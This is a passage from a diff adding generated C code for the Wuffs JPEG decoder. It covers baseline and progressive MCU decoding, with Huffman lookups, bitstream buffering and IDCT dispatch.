a_mx, -+ uint32_t a_my) { -+ return (*self->private_impl.choosy_decode_mcu)(self, a_dst, a_workbuf, a_mx, a_my); -+} -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint32_t -+wuffs_jpeg__decoder__decode_mcu__choosy_default( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t a_mx, -+ uint32_t a_my) { -+ uint32_t v_ret = 0; -+ uint64_t v_bits = 0; -+ uint32_t v_n_bits = 0; -+ uint8_t v_csel = 0; -+ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); -+ wuffs_base__io_buffer* v_r = &u_r; -+ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint32_t v_pos = 0; -+ uint8_t v_dc_h = 0; -+ uint32_t v_dc_symbol = 0; -+ uint32_t v_dc_ht_fast = 0; -+ uint32_t v_dc_bl = 0; -+ uint32_t v_dc_code = 0; -+ uint32_t v_dc_blm1 = 0; -+ uint32_t v_dc_ht_slow = 0; -+ uint16_t v_dc_value = 0; -+ uint16_t v_dc_extend = 0; -+ const uint16_t* v_ac_huff_table_fast = NULL; -+ uint8_t v_ac_h = 0; -+ uint32_t v_ac_symbol = 0; -+ uint32_t v_ac_ht_fast = 0; -+ uint32_t v_ac_bl = 0; -+ uint32_t v_ac_code = 0; -+ uint32_t v_ac_blm1 = 0; -+ uint32_t v_ac_ht_slow = 0; -+ uint16_t v_ac_value = 0; -+ uint16_t v_ac_extend = 0; -+ uint32_t v_ac_rrrr = 0; -+ uint32_t v_ac_ssss = 0; -+ uint32_t v_z = 0; -+ uint32_t v_mcb = 0; -+ uint64_t v_stride = 0; -+ uint64_t v_offset = 0; -+ -+ v_bits = self->private_impl.f_bitstream_bits; -+ v_n_bits = self->private_impl.f_bitstream_n_bits; -+ if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { -+ return 2u; -+ } -+ { -+ wuffs_base__io_buffer* o_0_v_r = v_r; -+ const uint8_t* o_0_iop_v_r = iop_v_r; -+ const uint8_t* o_0_io0_v_r = io0_v_r; -+ const uint8_t* o_0_io1_v_r = io1_v_r; -+ const uint8_t* o_0_io2_v_r = io2_v_r; -+ v_r = wuffs_private_impl__io_reader__set( -+ &u_r, -+ &iop_v_r, -+ &io0_v_r, -+ &io1_v_r, -+ &io2_v_r, -+ wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, -+ self->private_impl.f_bitstream_ri, -+ self->private_impl.f_bitstream_wi), -+ ((uint64_t)(self->private_impl.f_bitstream_ri))); -+ do { -+ while (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { -+ while (self->private_impl.f_mcu_zig_index <= 0u) { -+ wuffs_private_impl__bulk_memset(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, 0u); -+ if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { -+ v_ret = 1u; -+ goto label__goto_done__break; -+ } -+ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -+ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); -+ v_n_bits |= 56u; -+ v_dc_h = self->private_impl.f_mcu_blocks_dc_hselector[self->private_impl.f_mcu_current_block]; -+ v_dc_ht_fast = ((uint32_t)(self->private_impl.f_huff_tables_fast[v_dc_h][(v_bits >> 56u)])); -+ v_dc_bl = (v_dc_ht_fast >> 8u); -+ if (v_n_bits >= v_dc_bl) { -+ v_dc_symbol = (15u & v_dc_ht_fast); -+ v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; -+ v_bits <<= (v_dc_bl & 63u); -+ v_n_bits -= v_dc_bl; -+ } else { -+ v_dc_code = ((uint32_t)((v_bits >> 55u))); -+ v_dc_blm1 = 8u; -+ v_bits <<= 9u; -+ v_n_bits -= 9u; -+ while (true) { -+ v_dc_ht_slow = self->private_impl.f_huff_tables_slow[v_dc_h][v_dc_blm1]; -+ if (v_dc_code < (v_dc_ht_slow >> 8u)) { -+ v_dc_symbol = (15u & ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_dc_h][(255u & ((uint32_t)(v_dc_code + v_dc_ht_slow)))]))); -+ v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; -+ break; -+ } -+ v_dc_code = (((uint32_t)(v_dc_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); -+ v_bits <<= 1u; -+ v_n_bits -= 1u; -+ v_dc_blm1 = ((v_dc_blm1 + 1u) & 15u); -+ if (v_dc_blm1 == 0u) { -+ v_dc_symbol = 0u; -+ v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; -+ break; -+ } -+ } -+ } -+ v_dc_value = ((uint16_t)(((v_bits >> 32u) >> (32u - v_dc_symbol)))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_dc_value += ((uint16_t)(v_dc_extend & ((uint16_t)(((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ v_bits <<= v_dc_symbol; -+ v_n_bits -= v_dc_symbol; -+ v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[self->private_impl.f_mcu_current_block]]; -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ self->private_impl.f_mcu_previous_dc_values[v_csel] += v_dc_value; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ self->private_data.f_mcu_blocks[0u][0u] = self->private_impl.f_mcu_previous_dc_values[v_csel]; -+ self->private_impl.f_mcu_zig_index = 1u; -+ break; -+ } -+ if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { -+ v_ret = 1u; -+ goto label__goto_done__break; -+ } -+ if (v_n_bits < 16u) { -+ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -+ } -+ v_z = 1u; -+ self->private_impl.f_mcu_zig_index = 0u; -+ v_ac_h = self->private_impl.f_mcu_blocks_ac_hselector[self->private_impl.f_mcu_current_block]; -+ v_ac_huff_table_fast = &self->private_impl.f_huff_tables_fast[v_ac_h][0u]; -+ while (v_z < 64u) { -+ v_ac_ht_fast = ((uint32_t)(v_ac_huff_table_fast[(v_bits >> 56u)])); -+ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { -+ v_ret = 2u; -+ goto label__goto_done__break; -+ } -+ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -+ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); -+ v_n_bits |= 56u; -+ v_ac_bl = (v_ac_ht_fast >> 8u); -+ if (v_n_bits >= v_ac_bl) { -+ v_ac_symbol = (255u & v_ac_ht_fast); -+ v_bits <<= (v_ac_bl & 63u); -+ v_n_bits -= v_ac_bl; -+ } else { -+ v_ac_code = ((uint32_t)((v_bits >> 55u))); -+ v_ac_blm1 = 8u; -+ v_bits <<= 9u; -+ v_n_bits -= 9u; -+ while (true) { -+ v_ac_ht_slow = self->private_impl.f_huff_tables_slow[v_ac_h][v_ac_blm1]; -+ if (v_ac_code < (v_ac_ht_slow >> 8u)) { -+ v_ac_symbol = ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_ac_h][(255u & ((uint32_t)(v_ac_code + v_ac_ht_slow)))])); -+ break; -+ } -+ v_ac_code = (((uint32_t)(v_ac_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); -+ v_bits <<= 1u; -+ v_n_bits -= 1u; -+ v_ac_blm1 = ((v_ac_blm1 + 1u) & 15u); -+ if (v_ac_blm1 == 0u) { -+ v_ac_symbol = 0u; -+ break; -+ } -+ } -+ } -+ v_ac_rrrr = (v_ac_symbol >> 4u); -+ v_z += (v_ac_rrrr + 1u); -+ v_ac_ssss = (v_ac_symbol & 15u); -+ v_ac_extend = WUFFS_JPEG__EXTEND[v_ac_ssss]; -+ if (v_ac_ssss > 0u) { -+ v_ac_value = ((uint16_t)((v_bits >> (64u - v_ac_ssss)))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_ac_value += ((uint16_t)(v_ac_extend & ((uint16_t)(((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ v_bits <<= v_ac_ssss; -+ v_n_bits -= v_ac_ssss; -+ self->private_data.f_mcu_blocks[0u][WUFFS_JPEG__UNZIG[v_z]] = v_ac_value; -+ } else if (v_ac_rrrr < 15u) { -+ break; -+ } -+ } -+ v_mcb = self->private_impl.f_mcu_current_block; -+ self->private_impl.f_mcu_current_block += 1u; -+ if (self->private_impl.f_test_only_interrupt_decode_mcu) { -+ goto label__goto_done__break; -+ } -+ if ( ! self->private_impl.f_swizzle_immediately) { -+ v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_mcb]]; -+ v_stride = ((uint64_t)(self->private_impl.f_components_workbuf_widths[v_csel])); -+ v_offset = (self->private_impl.f_mcu_blocks_offset[v_mcb] + (((uint64_t)(self->private_impl.f_mcu_blocks_mx_mul[v_mcb])) * ((uint64_t)(a_mx))) + (((uint64_t)(self->private_impl.f_mcu_blocks_my_mul[v_mcb])) * ((uint64_t)(a_my)))); -+ if (v_offset <= ((uint64_t)(a_workbuf.len))) { -+ wuffs_jpeg__decoder__decode_idct(self, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset), v_stride, ((uint32_t)(self->private_impl.f_components_tq[v_csel]))); -+ } -+ } else if (self->private_impl.f_num_components == 1u) { -+ wuffs_jpeg__decoder__decode_idct(self, wuffs_base__make_slice_u8(self->private_data.f_swizzle_immediately_buffer, 64), 8u, ((uint32_t)(self->private_impl.f_components_tq[v_csel]))); -+ self->private_impl.f_swizzle_immediately_status = wuffs_jpeg__decoder__swizzle_gray(self, -+ a_dst, -+ wuffs_base__make_slice_u8(self->private_data.f_swizzle_immediately_buffer, 64), -+ ((a_mx + 0u) * 8u), -+ ((a_mx + 1u) * 8u), -+ ((a_my + 0u) * 8u), -+ ((a_my + 1u) * 8u), -+ 8u); -+ if ( ! wuffs_base__status__is_ok(&self->private_impl.f_swizzle_immediately_status)) { -+ v_ret = 3u; -+ goto label__goto_done__break; -+ } -+ break; -+ } else { -+ v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_mcb]]; -+ v_stride = (8u * ((uint64_t)(self->private_impl.f_components_h[v_csel]))); -+ wuffs_jpeg__decoder__decode_idct(self, wuffs_base__make_slice_u8_ij(self->private_data.f_swizzle_immediately_buffer, self->private_impl.f_swizzle_immediately_b_offsets[v_mcb], 640), v_stride, ((uint32_t)(self->private_impl.f_components_tq[v_csel]))); -+ if (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { -+ continue; -+ } -+ self->private_impl.f_swizzle_immediately_status = wuffs_jpeg__decoder__swizzle_colorful(self, -+ a_dst, -+ wuffs_base__utility__empty_slice_u8(), -+ ((a_mx + 0u) * 8u * ((uint32_t)(self->private_impl.f_max_incl_components_h))), -+ ((a_mx + 1u) * 8u * ((uint32_t)(self->private_impl.f_max_incl_components_h))), -+ ((a_my + 0u) * 8u * ((uint32_t)(self->private_impl.f_max_incl_components_v))), -+ ((a_my + 1u) * 8u * ((uint32_t)(self->private_impl.f_max_incl_components_v)))); -+ if ( ! wuffs_base__status__is_ok(&self->private_impl.f_swizzle_immediately_status)) { -+ v_ret = 3u; -+ goto label__goto_done__break; -+ } -+ break; -+ } -+ } -+ self->private_impl.f_mcu_current_block = 0u; -+ } while (0); -+ label__goto_done__break:; -+ v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); -+ if (v_pos > self->private_impl.f_bitstream_wi) { -+ v_ret = 2u; -+ } else { -+ self->private_impl.f_bitstream_ri = v_pos; -+ } -+ v_r = o_0_v_r; -+ iop_v_r = o_0_iop_v_r; -+ io0_v_r = o_0_io0_v_r; -+ io1_v_r = o_0_io1_v_r; -+ io2_v_r = o_0_io2_v_r; -+ } -+ self->private_impl.f_bitstream_bits = v_bits; -+ self->private_impl.f_bitstream_n_bits = v_n_bits; -+ return v_ret; -+} -+ -+// -------- func jpeg.decoder.decode_mcu_progressive_ac_high_bits -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint32_t -+wuffs_jpeg__decoder__decode_mcu_progressive_ac_high_bits( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t a_mx, -+ uint32_t a_my) { -+ uint32_t v_ret = 0; -+ uint64_t v_bits = 0; -+ uint32_t v_n_bits = 0; -+ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); -+ wuffs_base__io_buffer* v_r = &u_r; -+ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint32_t v_pos = 0; -+ const uint16_t* v_ac_huff_table_fast = NULL; -+ uint8_t v_ac_h = 0; -+ uint32_t v_ac_symbol = 0; -+ uint32_t v_ac_ht_fast = 0; -+ uint32_t v_ac_bl = 0; -+ uint32_t v_ac_code = 0; -+ uint32_t v_ac_blm1 = 0; -+ uint32_t v_ac_ht_slow = 0; -+ uint16_t v_ac_value = 0; -+ uint16_t v_ac_extend = 0; -+ uint32_t v_ac_rrrr = 0; -+ uint32_t v_ac_ssss = 0; -+ uint32_t v_z = 0; -+ -+ if (self->private_impl.f_eob_run > 0u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ self->private_impl.f_eob_run -= 1u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ return 0u; -+ } -+ v_bits = self->private_impl.f_bitstream_bits; -+ v_n_bits = self->private_impl.f_bitstream_n_bits; -+ if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { -+ return 2u; -+ } -+ { -+ wuffs_base__io_buffer* o_0_v_r = v_r; -+ const uint8_t* o_0_iop_v_r = iop_v_r; -+ const uint8_t* o_0_io0_v_r = io0_v_r; -+ const uint8_t* o_0_io1_v_r = io1_v_r; -+ const uint8_t* o_0_io2_v_r = io2_v_r; -+ v_r = wuffs_private_impl__io_reader__set( -+ &u_r, -+ &iop_v_r, -+ &io0_v_r, -+ &io1_v_r, -+ &io2_v_r, -+ wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, -+ self->private_impl.f_bitstream_ri, -+ self->private_impl.f_bitstream_wi), -+ ((uint64_t)(self->private_impl.f_bitstream_ri))); -+ do { -+ do { -+ if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { -+ v_ret = 1u; -+ goto label__goto_done__break; -+ } -+ if (v_n_bits < 16u) { -+ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -+ } -+ v_z = self->private_impl.f_mcu_zig_index; -+ self->private_impl.f_mcu_zig_index = 0u; -+ v_ac_h = self->private_impl.f_mcu_blocks_ac_hselector[0u]; -+ v_ac_huff_table_fast = &self->private_impl.f_huff_tables_fast[v_ac_h][0u]; -+ while (v_z <= ((uint32_t)(self->private_impl.f_scan_se))) { -+ v_ac_ht_fast = ((uint32_t)(v_ac_huff_table_fast[(v_bits >> 56u)])); -+ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { -+ v_ret = 2u; -+ goto label__goto_done__break; -+ } -+ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -+ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); -+ v_n_bits |= 56u; -+ v_ac_bl = (v_ac_ht_fast >> 8u); -+ if (v_n_bits >= v_ac_bl) { -+ v_ac_symbol = (255u & v_ac_ht_fast); -+ v_bits <<= (v_ac_bl & 63u); -+ v_n_bits -= v_ac_bl; -+ } else { -+ v_ac_code = ((uint32_t)((v_bits >> 55u))); -+ v_ac_blm1 = 8u; -+ v_bits <<= 9u; -+ v_n_bits -= 9u; -+ while (true) { -+ v_ac_ht_slow = self->private_impl.f_huff_tables_slow[v_ac_h][v_ac_blm1]; -+ if (v_ac_code < (v_ac_ht_slow >> 8u)) { -+ v_ac_symbol = ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_ac_h][(255u & ((uint32_t)(v_ac_code + v_ac_ht_slow)))])); -+ break; -+ } -+ v_ac_code = (((uint32_t)(v_ac_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); -+ v_bits <<= 1u; -+ v_n_bits -= 1u; -+ v_ac_blm1 = ((v_ac_blm1 + 1u) & 15u); -+ if (v_ac_blm1 == 0u) { -+ v_ac_symbol = 0u; -+ break; -+ } -+ } -+ } -+ v_ac_rrrr = (v_ac_symbol >> 4u); -+ v_z += (v_ac_rrrr + 1u); -+ v_ac_ssss = (v_ac_symbol & 15u); -+ v_ac_extend = WUFFS_JPEG__EXTEND[v_ac_ssss]; -+ if (v_ac_ssss > 0u) { -+ v_ac_value = ((uint16_t)((v_bits >> (64u - v_ac_ssss)))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_ac_value += ((uint16_t)(v_ac_extend & ((uint16_t)(((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ v_bits <<= v_ac_ssss; -+ v_n_bits -= v_ac_ssss; -+ self->private_data.f_mcu_blocks[0u][WUFFS_JPEG__UNZIG[v_z]] = ((uint16_t)(((uint16_t)(v_ac_value << self->private_impl.f_scan_al)))); -+ } else if (v_ac_rrrr < 15u) { -+ self->private_impl.f_eob_run = ((uint16_t)(((uint16_t)(((uint16_t)(((uint16_t)(1u)) << v_ac_rrrr)) - 1u)))); -+ if (v_ac_rrrr > 0u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ self->private_impl.f_eob_run += ((uint16_t)((v_bits >> (64u - v_ac_rrrr)))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ v_bits <<= v_ac_rrrr; -+ v_n_bits -= v_ac_rrrr; -+ } -+ break; -+ } -+ } -+ } while (0); -+ } while (0); -+ label__goto_done__break:; -+ v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); -+ if (v_pos > self->private_impl.f_bitstream_wi) { -+ v_ret = 2u; -+ } else { -+ self->private_impl.f_bitstream_ri = v_pos; -+ } -+ v_r = o_0_v_r; -+ iop_v_r = o_0_iop_v_r; -+ io0_v_r = o_0_io0_v_r; -+ io1_v_r = o_0_io1_v_r; -+ io2_v_r = o_0_io2_v_r; -+ } -+ self->private_impl.f_bitstream_bits = v_bits; -+ self->private_impl.f_bitstream_n_bits = v_n_bits; -+ return v_ret; -+} -+ -+// -------- func jpeg.decoder.decode_mcu_progressive_ac_low_bit -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint32_t -+wuffs_jpeg__decoder__decode_mcu_progressive_ac_low_bit( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t a_mx, -+ uint32_t a_my) { -+ uint32_t v_ret = 0; -+ uint64_t v_bits = 0; -+ uint32_t v_n_bits = 0; -+ uint16_t v_one_lshift_scan_al = 0; -+ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); -+ wuffs_base__io_buffer* v_r = &u_r; -+ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint32_t v_pos = 0; -+ const uint16_t* v_ac_huff_table_fast = NULL; -+ uint8_t v_ac_h = 0; -+ uint32_t v_ac_symbol = 0; -+ uint32_t v_ac_ht_fast = 0; -+ uint32_t v_ac_bl = 0; -+ uint32_t v_ac_code = 0; -+ uint32_t v_ac_blm1 = 0; -+ uint32_t v_ac_ht_slow = 0; -+ uint16_t v_ac_value = 0; -+ uint32_t v_ac_rrrr = 0; -+ uint32_t v_ac_ssss = 0; -+ uint8_t v_unzig = 0; -+ bool v_bit = false; -+ -+ v_bits = self->private_impl.f_bitstream_bits; -+ v_n_bits = self->private_impl.f_bitstream_n_bits; -+ v_one_lshift_scan_al = ((uint16_t)(((uint16_t)(1u)) << self->private_impl.f_scan_al)); -+ if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { -+ return 2u; -+ } -+ { -+ wuffs_base__io_buffer* o_0_v_r = v_r; -+ const uint8_t* o_0_iop_v_r = iop_v_r; -+ const uint8_t* o_0_io0_v_r = io0_v_r; -+ const uint8_t* o_0_io1_v_r = io1_v_r; -+ const uint8_t* o_0_io2_v_r = io2_v_r; -+ v_r = wuffs_private_impl__io_reader__set( -+ &u_r, -+ &iop_v_r, -+ &io0_v_r, -+ &io1_v_r, -+ &io2_v_r, -+ wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, -+ self->private_impl.f_bitstream_ri, -+ self->private_impl.f_bitstream_wi), -+ ((uint64_t)(self->private_impl.f_bitstream_ri))); -+ do { -+ do { -+ if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { -+ v_ret = 1u; -+ goto label__goto_done__break; -+ } -+ while (true) { -+ if (self->private_impl.f_eob_run > 0u) { -+ break; -+ } -+ v_ac_h = self->private_impl.f_mcu_blocks_ac_hselector[0u]; -+ v_ac_huff_table_fast = &self->private_impl.f_huff_tables_fast[v_ac_h][0u]; -+ while (true) { -+ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { -+ v_ret = 2u; -+ goto label__goto_done__break; -+ } -+ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -+ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); -+ v_n_bits |= 56u; -+ v_ac_ht_fast = ((uint32_t)(v_ac_huff_table_fast[(v_bits >> 56u)])); -+ v_ac_bl = (v_ac_ht_fast >> 8u); -+ if (v_n_bits >= v_ac_bl) { -+ v_ac_symbol = (255u & v_ac_ht_fast); -+ v_bits <<= (v_ac_bl & 63u); -+ v_n_bits -= v_ac_bl; -+ } else { -+ v_ac_code = ((uint32_t)((v_bits >> 55u))); -+ v_ac_blm1 = 8u; -+ v_bits <<= 9u; -+ v_n_bits -= 9u; -+ while (true) { -+ v_ac_ht_slow = self->private_impl.f_huff_tables_slow[v_ac_h][v_ac_blm1]; -+ if (v_ac_code < (v_ac_ht_slow >> 8u)) { -+ v_ac_symbol = ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_ac_h][(255u & ((uint32_t)(v_ac_code + v_ac_ht_slow)))])); -+ break; -+ } -+ v_ac_code = (((uint32_t)(v_ac_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); -+ v_bits <<= 1u; -+ v_n_bits -= 1u; -+ v_ac_blm1 = ((v_ac_blm1 + 1u) & 15u); -+ if (v_ac_blm1 == 0u) { -+ v_ac_symbol = 0u; -+ break; -+ } -+ } -+ } -+ v_ac_rrrr = (v_ac_symbol >> 4u); -+ v_ac_ssss = (v_ac_symbol & 15u); -+ v_ac_value = 0u; -+ if (v_ac_ssss > 0u) { -+ v_ac_value = ((uint16_t)(((uint16_t)(1u)) << self->private_impl.f_scan_al)); -+ if ((v_bits >> 63u) == 0u) { -+ v_ac_value = ((uint16_t)(((uint16_t)(65535u)) << self->private_impl.f_scan_al)); -+ } -+ v_bits <<= 1u; -+ v_n_bits -= 1u; -+ } else if (v_ac_rrrr < 15u) { -+ self->private_impl.f_eob_run = ((uint16_t)(((uint16_t)(1u)) << v_ac_rrrr)); -+ if (v_ac_rrrr > 0u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ self->private_impl.f_eob_run += ((uint16_t)((v_bits >> (64u - v_ac_rrrr)))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ v_bits <<= v_ac_rrrr; -+ v_n_bits -= v_ac_rrrr; -+ } -+ goto label__goto_do_eob__break; -+ } -+ while (true) { -+ v_unzig = WUFFS_JPEG__UNZIG[(1u + self->private_impl.f_mcu_zig_index)]; -+ if (self->private_data.f_mcu_blocks[0u][v_unzig] != 0u) { -+ if (v_n_bits == 0u) { -+ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { -+ v_ret = 2u; -+ goto label__goto_done__break; -+ } -+ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -+ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); -+ v_n_bits |= 56u; -+ } -+ v_bit = ((v_bits >> 63u) > 0u); -+ v_bits <<= 1u; -+ v_n_bits -= 1u; -+ if (v_bit) { -+ if (self->private_data.f_mcu_blocks[0u][v_unzig] < 32768u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ self->private_data.f_mcu_blocks[0u][v_unzig] += v_one_lshift_scan_al; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ self->private_data.f_mcu_blocks[0u][v_unzig] -= v_one_lshift_scan_al; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } -+ } -+ } else if (v_ac_rrrr <= 0u) { -+ break; -+ } else { -+ v_ac_rrrr -= 1u; -+ } -+ if (self->private_impl.f_mcu_zig_index >= ((uint32_t)(self->private_impl.f_scan_se))) { -+ break; -+ } -+ self->private_impl.f_mcu_zig_index += 1u; -+ } -+ if (v_ac_value != 0u) { -+ self->private_data.f_mcu_blocks[0u][WUFFS_JPEG__UNZIG[(1u + self->private_impl.f_mcu_zig_index)]] = v_ac_value; -+ } -+ if (self->private_impl.f_mcu_zig_index >= ((uint32_t)(self->private_impl.f_scan_se))) { -+ break; -+ } -+ self->private_impl.f_mcu_zig_index += 1u; -+ } -+ goto label__block__break; -+ } -+ label__goto_do_eob__break:; -+ if (self->private_impl.f_eob_run <= 0u) { -+ v_ret = 2u; -+ goto label__goto_done__break; -+ } -+ while (true) { -+ v_unzig = WUFFS_JPEG__UNZIG[(1u + self->private_impl.f_mcu_zig_index)]; -+ if (self->private_data.f_mcu_blocks[0u][v_unzig] != 0u) { -+ if (v_n_bits == 0u) { -+ if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { -+ v_ret = 2u; -+ goto label__goto_done__break; -+ } -+ v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -+ iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); -+ v_n_bits |= 56u; -+ } -+ v_bit = ((v_bits >> 63u) > 0u); -+ v_bits <<= 1u; -+ v_n_bits -= 1u; -+ if (v_bit) { -+ if (self->private_data.f_mcu_blocks[0u][v_unzig] < 32768u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ self->private_data.f_mcu_blocks[0u][v_unzig] += v_one_lshift_scan_al; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ self->private_data.f_mcu_blocks[0u][v_unzig] -= v_one_lshift_scan_al; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } -+ } -+ } -+ if (self->private_impl.f_mcu_zig_index >= ((uint32_t)(self->private_impl.f_scan_se))) { -+ break; -+ } -+ self->private_impl.f_mcu_zig_index += 1u; -+ } -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ self->private_impl.f_eob_run -= 1u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } while (0); -+ label__block__break:; -+ } while (0); -+ label__goto_done__break:; -+ v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); -+ if (v_pos > self->private_impl.f_bitstream_wi) { -+ v_ret = 2u; -+ } else { -+ 